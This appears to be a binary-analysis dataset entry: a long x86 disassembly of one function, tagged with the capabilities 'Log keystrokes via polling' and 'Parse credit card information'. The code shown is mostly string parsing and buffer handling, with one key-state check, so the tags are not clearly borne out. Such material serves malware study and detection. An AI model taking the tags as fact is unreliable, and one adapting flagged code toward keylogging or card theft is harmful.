Function at 0x4865c8
Capabilities:
Log keystrokes via polling
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
push ebx
push esi
push edi
lea edi, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 8], eax
xor edx, edx
mov dword [ebp - 0xc], edx
xor ecx, ecx
mov dword [ebp - 0x10], ecx
xor eax, eax
mov dword [ebp - 0x14], eax
xor edx, edx
mov dword [ebp - 0x18], edx
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov dword [ebp - 0x24], edx
xor ecx, ecx
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x44], 1
xor ecx, ecx
mov dword [ebp - 0x48], ecx
xor eax, eax
mov dword [ebp - 0x4c], eax
xor edx, edx
mov dword [ebp - 0x50], edx
xor ecx, ecx
mov dword [ebp - 0x64], ecx
xor eax, eax
mov dword [ebp - 0x68], eax
xor edx, edx
mov dword [ebp - 0x6c], edx
xor ecx, ecx
mov dword [ebp - 0x70], ecx
xor eax, eax
mov dword [ebp - 0x74], eax
xor edx, edx
mov dword [ebp - 0x78], edx
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [ebp - 0x84], eax
xor edx, edx
mov dword [0x4fd9e0], edx
mov byte [0x50cbd8], 0
mov ecx, dword [ebp + 0x2c]
mov dword [ebp - 0x58], ecx
mov eax, dword [0x4f1b10]
mov dword [ebp - 0x88], eax
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
jmp 0x486687
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x486696
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x24], 0
je 0x48667e
cmp dword [ebp - 0xc], 0
je 0x4866aa
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + 0x24]
mov dword [ebp - 0x8c], eax
jmp 0x4866b2
xor edx, edx
mov dword [ebp - 0x8c], edx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x48b1f3
cmp dword [ebp + 0x18], 0
jg 0x4866f2
push 0x3fb
call fcn.0040c55c
pop ecx
mov dword [ebp + 0x1c], eax
push 0x3fb
call fcn.0040c55c
pop ecx
mov dword [ebp + 0x20], eax
push 0x3fb
call fcn.0040c55c
pop ecx
mov dword [ebp + 0x24], eax
cmp dword [ebp + 0x1c], 0
je 0x486704
cmp dword [ebp + 0x20], 0
je 0x486704
cmp dword [ebp + 0x24], 0
jne 0x48671e
push 2
push 0x4f8ae5
push 0
push 0
call fcn.0045bf34
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov dword [0x4fb760], 0x64
xor edx, edx
mov dword [0x4fb764], edx
xor ecx, ecx
mov dword [0x4fb768], ecx
cmp dword [ebp + 0x14], 2
jne 0x486745
mov dword [ebp - 0x48], 1
cmp dword [ebp + 0x14], 3
jne 0x486757
mov dword [ebp - 0x54], 1
jmp 0x4867d7
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
jmp 0x48675f
inc ebx
cmp byte [ebx], 0x20
je 0x48675e
cmp byte [ebx], 0
je 0x48b138
cmp dword [ebp + 0x14], 0
jne 0x48679c
cmp byte [ebx], 0x2f
jne 0x48677f
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4867d7
mov dl, byte [ebx]
cmp dl, byte [0x4fb0c8]
jne 0x486793
mov byte [ebx], 0x2f
xor ecx, ecx
mov dword [ebp - 0x54], ecx
jmp 0x4867d7
mov dword [ebp - 0x54], 1
jmp 0x4867d7
cmp dword [ebp + 0x14], 4
jne 0x4867d2
mov dword [ebp + 0x14], 1
cmp byte [ebx], 0x2f
jne 0x4867b5
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4867d7
mov dl, byte [ebx]
cmp dl, byte [0x4fb0c8]
jne 0x4867c9
mov byte [ebx], 0x2f
xor ecx, ecx
mov dword [ebp - 0x54], ecx
jmp 0x4867d7
mov dword [ebp - 0x54], 1
jmp 0x4867d7
xor eax, eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x486847
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx]
mov eax, dword [ebp + 0x24]
mov edi, ecx
mov esi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 8]
push eax
call sub.USER32.dll_IsWindow
test eax, eax
jne 0x48681c
mov edx, dword [0x4fd9fc]
mov dword [ebp + 8], edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x24]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043cad0
test eax, eax
jne 0x48b1f3
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
mov ecx, dword [ebp + 8]
push ecx
call sub.USER32.dll_IsWindow
test eax, eax
jne 0x48685c
mov eax, dword [0x4fd9fc]
mov dword [ebp + 8], eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x18], 0
je 0x486879
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0xc]
je 0x486879
mov dword [ebp - 0x40], 1
jmp 0x48b1f3
cmp dword [ebp - 0x14], 0
je 0x486892
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax]
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x20]
mov dword [ebp - 0x30], edx
jmp 0x486a5a
cmp dword [ebp + 0x14], 0
jne 0x4868eb
mov ecx, dword [ebp - 0xc]
mov ebx, dword [ecx]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x20]
mov dword [ebp - 0x30], edx
jmp 0x4868a9
inc ebx
cmp byte [ebx], 0x20
je 0x4868a8
cmp byte [ebx], 0
je 0x48b138
cmp byte [ebx], 0x2f
jne 0x4868e1
inc ebx
cmp byte [ebx], 0
je 0x48b138
cmp byte [ebx], 0x2f
jne 0x4868e1
inc ebx
cmp byte [ebx], 0
je 0x48b138
mov dword [ebp + 0x14], 1
jmp 0x486847
mov ecx, dword [ebp - 0xc]
mov ebx, dword [ecx]
jmp 0x486a5a
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x20]
push edx
push edi
mov ecx, dword [ebp + 0x24]
push ecx
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
push edx
call fcn.004b7478
mov dword [ebp - 0x10], eax
cmp dword [edi], 0
jne 0x486914
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
cmp dword [ebp - 0x10], 0
je 0x486a4c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov ebx, dword [edx]
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x20]
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x28], 0
je 0x486a5a
mov ecx, dword [ebp - 0x28]
cmp dword [ecx + 8], 0
je 0x486a5a
push 3
call sub.USER32.dll_GetAsyncKeyState
test ax, ax
jge 0x486996
push 0
push 0xaf3
call fcn.0041f178
mov edi, eax
mov esi, 0x50cbd8
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
call sub.USER32.dll_MessageBeep
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov edx, dword [ebp - 0x28]
cmp dword [edx + 8], 1
jne 0x486a42
mov ecx, dword [ebp - 0x28]
mov eax, dword [ecx + 0x2c]
cmp eax, dword [ebp - 0xc]
jne 0x486a42
xor edx, edx
mov dword [edi], edx
cmp dword [ebp - 0x14], 0
je 0x486a15
mov ecx, dword [ebp - 0x14]
mov ebx, dword [ecx]
jmp 0x4869c4
inc ebx
cmp byte [ebx], 0x20
je 0x4869c3
cmp byte [ebx], 0x2f
jne 0x4869d5
inc ebx
cmp byte [ebx], 0x2f
jne 0x4869d5
inc ebx
cmp byte [ebx], 0x21
jne 0x4869db
inc ebx
cmp byte [ebx], 0x2e
jne 0x4869e1
inc ebx
cmp byte [ebx], 0
je 0x486a06
push 6
push 0x4f8aec
push ebx
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x486a06
inc dword [edi]
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 4]
cmp edx, dword [edi]
jle 0x486a15
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4869bc
cmp dword [ebp - 0x14], 0
jne 0x486a34
push 0x50cbd8
push 0xd63
call fcn.0041f178
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
mov ecx, dword [ebp - 0x14]
mov ebx, dword [ecx]
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x20]
mov dword [ebp - 0x30], edx
mov ecx, dword [ebp - 0x28]
xor eax, eax
mov dword [ecx + 8], eax
jmp 0x486a5a
mov edx, dword [ebp - 0xc]
mov ebx, dword [edx]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x20]
mov dword [ebp - 0x30], edx
mov ecx, dword [ebp - 0x58]
mov dword [ebp + 0x2c], ecx
jmp 0x486a63
inc ebx
cmp byte [ebx], 0x20
je 0x486a62
cmp byte [ebx], 0x2f
jne 0x486a74
inc ebx
cmp byte [ebx], 0x2f
jne 0x486a74
inc ebx
cmp byte [ebx], 0x21
jne 0x486a81
inc ebx
mov dword [ebp - 0x50], 1
cmp byte [ebx], 0x2e
jne 0x486a8c
inc ebx
xor eax, eax
mov dword [ebp + 0x2c], eax
cmp byte [ebx], 0
je 0x48b138
jmp 0x486a98
inc ebx
cmp byte [ebx], 0x20
je 0x486a97
cmp byte [ebx], 0
je 0x48b138
mov edx, dword [ebp + 0x24]
push edi
mov esi, edx
mov edi, ebx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
cmp dword [ebp + 0x14], 0
je 0x4881c5
cmp byte [ebx], 0x3b
je 0x48b138
cmp byte [ebx], 0x72
je 0x486ae9
cmp byte [ebx], 0x52
jne 0x486b11
push 3
push 0x4f8af4
push ebx
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x486b11
cmp byte [ebx + 3], 0
je 0x48b138
cmp byte [ebx + 3], 0x20
je 0x48b138
push 0x4f8af9
mov eax, dword [ebp + 0x24]
push eax
call fcn.004015f8
add esp, 8
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x486c83
mov ebx, dword [ebp - 0x5c]
add ebx, 2
jmp 0x486b38
inc ebx
cmp byte [ebx], 0x20
je 0x486b37
cmp byte [ebx], 0
jne 0x486c83
mov eax, dword [ebp - 0x5c]
mov byte [eax], 0
cmp dword [ebp - 0x14], 0
je 0x486bd8
mov edx, dword [ebp - 0x14]
cmp dword [edx + 0x30], 0
je 0x486bd8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x486c83
mov edx, dword [ebp + 0x24]
push edx
call fcn.00401318
pop ecx
mov ebx, eax
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
push edx
call fcn.00401318
pop ecx
add ebx, eax
cmp ebx, 0x3b5
jbe 0x486bad
push 0x50cbd8
push 0xd49
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
push edx
mov ecx, dword [ebp + 0x24]
push ecx
call fcn.0040123c
add esp, 8
push 0x4f8afd
mov eax, dword [ebp + 0x24]
push eax
call fcn.004015f8
add esp, 8
mov dword [ebp - 0x5c], eax
jmp 0x486b25
xor edx, edx
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x10], 0
je 0x486bf1
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00499164
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
je 0x486c83
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
je 0x486c83
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x18], 0
jne 0x486c83
mov edx, dword [ebp + 0x24]
push edx
call fcn.00401318
pop ecx
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
push edx
call fcn.00401318
pop ecx
add ebx, eax
cmp ebx, 0x3b5
jbe 0x486c4e
push 0x50cbd8
push 0xd49
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
push edx
mov ecx, dword [ebp + 0x24]
push ecx
call fcn.0040123c
add esp, 8
push 0x4f8b01
mov eax, dword [ebp + 0x24]
push eax
call fcn.004015f8
add esp, 8
mov dword [ebp - 0x5c], eax
jmp 0x486b25
mov ebx, dword [ebp + 0x24]
cmp byte [ebx], 0x3a
jne 0x486d7c
mov eax, dword [ebp - 0xc]
push eax
push ebx
lea edx, [ebp - 0x18]
push edx
call fcn.0046bb58
test eax, eax
jne 0x486cc6
cmp dword [ebp - 0x74], 0
je 0x486cb1
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.0040c454
pop ecx
xor eax, eax
mov dword [ebp - 0x74], eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], edx
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
cmp dword [ebp - 0x74], 0
je 0x48b138
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x34]
mov ecx, dword [edx]
cmp byte [ecx], 0x25
jne 0x486cff
mov eax, dword [ebp + 0x38]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x34]
mov edx, dword [eax]
push edx
call fcn.004e78d4
test eax, eax
jne 0x486d2d
mov ecx, dword [ebp + 0x20]
mov byte [ecx], 0
jmp 0x486d2d
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x34]
mov ecx, dword [edx]
mov eax, dword [ebp + 0x20]
push edi
mov edi, ecx
mov esi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp + 0x20]
cmp byte [eax], 0
je 0x48b138
push 0x20
mov edx, dword [ebp + 0x20]
push edx
call fcn.00401278
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x486d50
mov byte [ebx], 0
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x74]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48b138
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.0040c454
pop ecx
xor eax, eax
mov dword [ebp - 0x74], eax
jmp 0x48b138
cmp dword [ebp - 0x74], 0
jne 0x48b138
cmp dword [ebp + 0x40], 0
je 0x486e5d
cmp dword [ebp - 0x7c], 0
jne 0x486e5d
mov dword [edi], 5
mov edx, dword [ebp + 0x40]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x486dbd
inc dword [edi]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x486dac
push 0xa
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
je 0x486dde
push 9
push 0
mov edx, dword [ebp - 0x7c]
push edx
call fcn.00401198
add esp, 0xc
mov ecx, dword [edi]
shl ecx, 2
push ecx
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x486e0d
push 2
push 0x4f8b05
push 0
push 0
call fcn.0045bf34
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov edx, dword [ebp - 0x78]
xor ecx, ecx
mov dword [edx], ecx
mov esi, 1
mov eax, dword [ebp + 0x40]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x486e40
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov dword [edx + esi*4], eax
inc esi
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x486e25
mov dword [ebp - 0x3c], esi
cmp esi, dword [edi]
jge 0x486fe5
mov eax, dword [ebp - 0x78]
xor edx, edx
mov dword [eax + esi*4], edx
inc esi
cmp esi, dword [edi]
jl 0x486e4b
jmp 0x486fe5
cmp dword [ebp + 0x10], 0
je 0x486fe5
cmp dword [ebp - 0x7c], 0
jne 0x486fe5
mov ebx, dword [ebp + 0x10]
jmp 0x486e77
inc ebx
cmp byte [ebx], 0x20
je 0x486e76
cmp byte [ebx], 0
je 0x486fd8
push ebx
call fcn.00401318
pop ecx
add eax, 0xa
push eax
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
je 0x486fd8
mov eax, dword [ebp - 0x7c]
push edi
mov esi, eax
mov edi, ebx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
cmp dword [ebp - 0x84], 0
je 0x486ee8
mov eax, dword [ebp + 0x20]
mov dl, byte [eax]
push edx
mov ecx, dword [ebp - 0x7c]
push ecx
call fcn.004b6bc4
add eax, 5
mov dword [edi], eax
jmp 0x486ef8
push 0x20
mov eax, dword [ebp - 0x7c]
push eax
call fcn.004b6bc4
add eax, 5
mov dword [edi], eax
mov edx, dword [edi]
shl edx, 2
push edx
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x486f27
push 2
push 0x4f8b0d
push 0
push 0
call fcn.0045bf34
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
cmp dword [ebp - 0x84], 0
je 0x486f7a
mov eax, dword [ebp - 0x78]
xor edx, edx
mov dword [eax], edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp - 0x7c]
push eax
call fcn.0040169c
add esp, 8
mov edx, dword [ebp - 0x78]
mov dword [edx + 4], eax
mov esi, 2
cmp esi, dword [edi]
jge 0x486fc4
mov eax, dword [ebp + 0x20]
push eax
push 0
call fcn.0040169c
add esp, 8
mov edx, dword [ebp - 0x78]
mov dword [edx + esi*4], eax
mov ecx, dword [ebp - 0x78]
cmp dword [ecx + esi*4], 0
je 0x486fc4
inc esi
cmp esi, dword [edi]
jl 0x486f56
jmp 0x486fc4
mov eax, dword [ebp - 0x78]
xor edx, edx
mov dword [eax], edx
push 0x4f8b15
mov ecx, dword [ebp - 0x7c]
push ecx
call fcn.0040169c
add esp, 8
mov edx, dword [ebp - 0x78]
mov dword [edx + 4], eax
mov esi, 2
cmp esi, dword [edi]
jge 0x486fc4
push 0x4f8b18
push 0
call fcn.0040169c
add esp, 8
mov edx, dword [ebp - 0x78]
mov dword [edx + esi*4], eax
mov eax, dword [ebp - 0x78]
cmp dword [eax + esi*4], 0
je 0x486fc4
inc esi
cmp esi, dword [edi]
jl 0x486fa1
mov dword [ebp - 0x3c], esi
cmp esi, dword [edi]
jge 0x486fd8
mov ecx, dword [ebp - 0x78]
xor eax, eax
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [edi]
jl 0x486fcb
cmp dword [ebp - 0x84], 0
jne 0x48ad58
cmp dword [ebp - 8], 0
je 0x486ff4
mov edx, dword [ebp - 8]
push edx
call fcn.00499164
mov ecx, dword [ebp + 0x24]
push ecx
call fcn.004b6c48
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x487020
push 2
push 0x4f8b1b
push 0
push 0
call fcn.0045bf34
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
cmp dword [ebp - 0x20], 0
je 0x487a44
cmp dword [0x4f8ad8], 0
je 0x487048
mov edx, dword [0x4f8ad8]
push edx
call fcn.0040c454
pop ecx
xor ecx, ecx
mov dword [0x4f8ad8], ecx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 8]
jne 0x48705a
xor edx, edx
mov dword [ebp - 0x20], edx
jmp 0x487294
cmp dword [ebp - 8], 0
je 0x487294
cmp dword [ebp - 0x20], 0
je 0x487294
mov ecx, dword [ebp + 0x20]
mov byte [ecx], 0
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x30]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x48719d
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
push eax
call fcn.004811ec
test eax, eax
je 0x487134
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 0x30]
cmp ecx, dword [ebp - 4]
jne 0x4870b3
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x30]
mov dword [ebp - 4], edx
jmp 0x48719d
mov ecx, dword [ebp + 0x20]
push ecx
call fcn.00401318
pop ecx
add eax, 2
push eax
mov eax, dword [ebp - 8]
mov edx, dword [eax]
push edx
call fcn.0040c9f0
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x48712d
mov eax, dword [ebp - 8]
mov dword [eax], ebx
mov edx, dword [ebp - 8]
mov ecx, dword [edx]
mov eax, dword [ebp + 0x20]
push edi
mov esi, ecx
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x487117
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x30]
push edx
mov ecx, dword [ebp - 8]
push ecx
call fcn.00498fb0
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x30]
cmp edx, dword [ebp - 4]
jne 0x487107
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 4], eax
jmp 0x48719d
xor edx, edx
mov dword [ebp - 4], edx
jmp 0x48719d
mov ecx, dword [ebp + 0x20]
cmp byte [ecx], 0
jne 0x487167
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov ecx, dword [ebp + 0x20]
push edi
mov edi, edx
mov esi, ecx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
push 0x4f8b24
mov eax, dword [ebp + 0x20]
push eax
call fcn.0040123c
add esp, 8
mov edx, dword [ebp - 4]
mov ecx, dword [edx]
push ecx
mov eax, dword [ebp + 0x20]
push eax
call fcn.0040123c
add esp, 8
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x487087
cmp dword [ebp - 4], 0
je 0x487294
mov eax, dword [ebp + 0x20]
mov byte [eax], 0
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x30]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x487294
mov ecx, dword [ebp + 0x20]
cmp byte [ecx], 0
jne 0x4871f5
mov eax, dword [esi]
mov edx, dword [ebp + 0x20]
push esi
push edi
mov edi, eax
mov esi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0x4f8b27
mov eax, dword [ebp + 0x20]
push eax
call fcn.0040123c
add esp, 8
mov edx, dword [ebp - 4]
mov ecx, dword [edx]
push ecx
mov eax, dword [ebp + 0x20]
push eax
call fcn.0040123c
add esp, 8
mov edx, dword [ebp - 4]
cmp dword [edx + 0x30], 0
jne 0x487281
mov ecx, dword [ebp + 0x20]
push ecx
call fcn.00401318
pop ecx
add eax, 2
push eax
mov eax, dword [esi]
push eax
call fcn.0040c9f0
add esp, 8
mov ebx, eax
test ebx, ebx
je 0x487294
mov dword [esi], ebx
mov eax, dword [esi]
mov edx, dword [ebp + 0x20]
push esi
push edi
mov esi, eax
mov edi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
jmp 0x487278
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.00498fb0
mov eax, dword [esi + 0x30]
test eax, eax
jne 0x48726e
jmp 0x487294
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x4871c3
mov eax, dword [ebp - 8]
push eax
call fcn.0048163c
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jge 0x4873cf
cmp dword [ebp - 0x90], 0xffffffff
jne 0x487301
cmp dword [ebp - 0x2c], 0
je 0x4872d3
push 0x50cbd8
push 0xd5c
call fcn.0041f178
jmp 0x4873c5
cmp dword [ebp - 0x24], 2
jne 0x4872ed
push 0x50cbd8
push 0xd53
call fcn.0041f178
jmp 0x4873c5
push 0x50cbd8
push 0xd4c
call fcn.0041f178
jmp 0x4873c5
mov edx, dword [ebp - 8]
cmp dword [edx + 0x30], 0
je 0x487388
cmp dword [ebp - 0x2c], 0
je 0x487338
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x30]
mov edx, dword [eax]
push edx
push 0
push 0xd5d
call fcn.0041f178
push eax
push 0x50cbd8
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4873c5
cmp dword [ebp - 0x24], 2
jne 0x487363
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x30]
mov edx, dword [eax]
push edx
push 0
push 0xd54
call fcn.0041f178
push eax
push 0x50cbd8
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4873c5
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x30]
mov edx, dword [eax]
push edx
push 0
push 0xd4d
call fcn.0041f178
push eax
push 0x50cbd8
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4873c5
cmp dword [ebp - 0x2c], 0
je 0x48739f
push 0x50cbd8
push 0xd5e
call fcn.0041f178
jmp 0x4873c5
cmp dword [ebp - 0x24], 2
jne 0x4873b6
push 0x50cbd8
push 0xd5b
call fcn.0041f178
jmp 0x4873c5
push 0x50cbd8
push 0xd4e
call fcn.0041f178
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
cmp dword [ebp - 0x90], 1
jne 0x48743c
mov eax, dword [ebp - 8]
mov edx, dword [eax]
push edx
call fcn.00401318
pop ecx
add eax, 2
push eax
call fcn.0040c55c
pop ecx
mov dword [0x4f8ad8], eax
cmp dword [0x4f8ad8], 0
je 0x48743c
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
mov edx, dword [0x4f8ad8]
push edi
mov edi, eax
mov esi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x48743c
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00498fb0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x48744b
mov ecx, dword [ebp - 8]
cmp dword [ecx + 4], 0
jne 0x48742c
cmp dword [ebp - 8], 0
je 0x487465
mov eax, dword [ebp - 0x20]
push eax
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.00499070
mov dword [ebp - 8], eax
jmp 0x48746b
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 8], ecx
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 8], 0
jne 0x4874bd
cmp dword [ebp - 0x2c], 0
je 0x48748d
push 0x50cbd8
push 0xd5f
call fcn.0041f178
jmp 0x4874b3
